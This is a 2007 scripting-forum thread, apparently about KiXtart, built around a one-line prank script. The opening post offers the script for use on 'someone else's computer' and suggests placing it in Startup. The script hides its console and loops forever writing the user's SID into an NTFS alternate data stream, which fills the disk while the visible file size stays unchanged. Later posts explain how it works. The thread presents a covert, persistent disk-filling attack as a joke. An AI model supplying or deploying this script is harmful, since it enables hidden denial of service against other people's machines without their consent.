#180062 - 2007-09-03 11:32 AM
Most annoying 1-line code ever!
|
Flavien
Getting the hang of it
Registered: 1999-07-21
Posts: 95
Loc: Geneva, Switzerland
|
Annoying code to test on someone else computer:
SetConsole("Hide") RedirectOutput("c:\~") RedirectOutput("c:\~:~") While 1 @sid Loop
Best usage: put the .kx script in Startup.
Of course I will not spoil the fun by explaining what this is doing...
|
|
Top
|
|
|
|
#180063 - 2007-09-03 11:47 AM
Re: Most annoying 1-line code ever!
[Re: Flavien]
|
Witto
MM club member
   
Registered: 2004-09-29
Posts: 1828
Loc: Belgium
|
will redirect all output to a file called ~ on C:\ But I do not get the I presume the script will loop until it gets killed by someone or something and the user will be logged off.
|
|
Top
|
|
|
|
#180064 - 2007-09-03 11:53 AM
Re: Most annoying 1-line code ever!
[Re: Witto]
|
Flavien
Getting the hang of it
Registered: 1999-07-21
Posts: 95
Loc: Geneva, Switzerland
|
Tip: this does not work on FAT filesystem
|
|
Top
|
|
|
|
#180066 - 2007-09-03 12:03 PM
Re: Most annoying 1-line code ever!
[Re: Arend_]
|
Flavien
Getting the hang of it
Registered: 1999-07-21
Posts: 95
Loc: Geneva, Switzerland
|
Oh yes, it will kick in, and that's the tricky stuff.
As for the 1, it's for the never ending loop:
While 1 ;is the same as While 1=1
...
Loop
Try it and see if the ~ file contains only 0.
Edited by Flavien (2007-09-03 01:03 PM) Edit Reason: Replaced '1' by 'only 0'
|
|
Top
|
|
|
|
#180069 - 2007-09-03 12:56 PM
Re: Most annoying 1-line code ever!
[Re: Flavien]
|
Arend_
MM club member
   
Registered: 2005-01-17
Posts: 1896
Loc: Hilversum, The Netherlands
|
It contains nothing more. I don't see where you even get that idea. Let's review your code shall we ?
That will hide the console screen. Nothing Important.
This will redirect the output to the "~" file on the C: disk.
This will do nothing since the first Redirect is in effect.
This creates an infinite loop where the @SID is constantly outputted to the "~" file.
|
|
Top
|
|
|
|
#180073 - 2007-09-03 01:58 PM
Re: Most annoying 1-line code ever!
[Re: Flavien]
|
Witto
MM club member
   
Registered: 2004-09-29
Posts: 1828
Loc: Belgium
|
Will create file C:\~ 0 is written to the file because you do not catch the return value, per example: $ReturnValue = RedirectOutput("c:\~") RedirectOutput("c:\~:~")While 1Redirects the code but I do not know where you are redirecting to IMHO "c:\~:~" is an invalid file specification. But As far as I can see, RedirectOutput() does not return an error. Endless loop. Because you do not catch the Return Value of "@SID", the output is redirected to "C:\~:~". But as I said, I do not know where that is. I think the user will be logged of from his computer when the script is broken because I see no Break On or similar at top of the script
|
|
Top
|
|
|
|
#180077 - 2007-09-03 02:46 PM
Re: Most annoying 1-line code ever!
[Re: Witto]
|
Flavien
Getting the hang of it
Registered: 1999-07-21
Posts: 95
Loc: Geneva, Switzerland
|
NTFS Alternate Data Streams (or ADS in short) entry in Wikipedia: Alternate data streams allows files to be associated with more than one data stream. For example, a file such as text.txt can have an ADS with the name of text.txt:secret.txt (of form filename:ads) that can only be accessed by knowing the ADS name or by specialized directory browsing programs. Alternate streams are not detectable in the original file's size but are lost when the original file (i.e. text.txt) is deleted with a RemoveFile or RemoveFileTransacted call (or a call that uses those calls), or when the file is copied or moved to a partition that doesn't support ADS (e.g. a FAT partition, a floppy disk, or a network share). While ADS is a useful feature, it can also easily eat up hard disk space if unknown either through being forgotten or not being detected.
So, in my example, C:\~:~ is a alternate data stream of c:\~ containing many times the SID. The file will grow until the disk is full.
lads.exe - Useful command line to list ADS: http://www.heysoft.de/Frames/f_sw_la_en.htm
NB: On my computer (XP x64) when I kill kix32.exe I don't get logged off.
|
|
Top
|
|
|
|
#180084 - 2007-09-03 03:23 PM
Re: Most annoying 1-line code ever!
[Re: Flavien]
|
Arend_
MM club member
   
Registered: 2005-01-17
Posts: 1896
Loc: Hilversum, The Netherlands
|
It is called "forking" because that is the name of what you are trying to do 
Without any further discussion: Forking
Besides you could have just done: and be done with it :P
|
|
Top
|
|
|
|
#180086 - 2007-09-03 03:41 PM
Re: Most annoying 1-line code ever!
[Re: Arend_]
|
Flavien
Getting the hang of it
Registered: 1999-07-21
Posts: 95
Loc: Geneva, Switzerland
|
Besides you could have just done: and be done with it :P Why would you do that? That would recreate the file without increasing its size. Thus not annoying...
|
|
Top
|
|
|
|
#180087 - 2007-09-03 03:45 PM
Re: Most annoying 1-line code ever!
[Re: Flavien]
|
Arend_
MM club member
   
Registered: 2005-01-17
Posts: 1896
Loc: Hilversum, The Netherlands
|
No, that would "append" the file
|
|
Top
|
|
|
|
Moderator: Arend_, Allen, Jochen, Radimus, Glenn Barnas, ShaneEP, Ruud van Velsen, Mart
|
0 registered
and 1003 anonymous users online.
|
|
|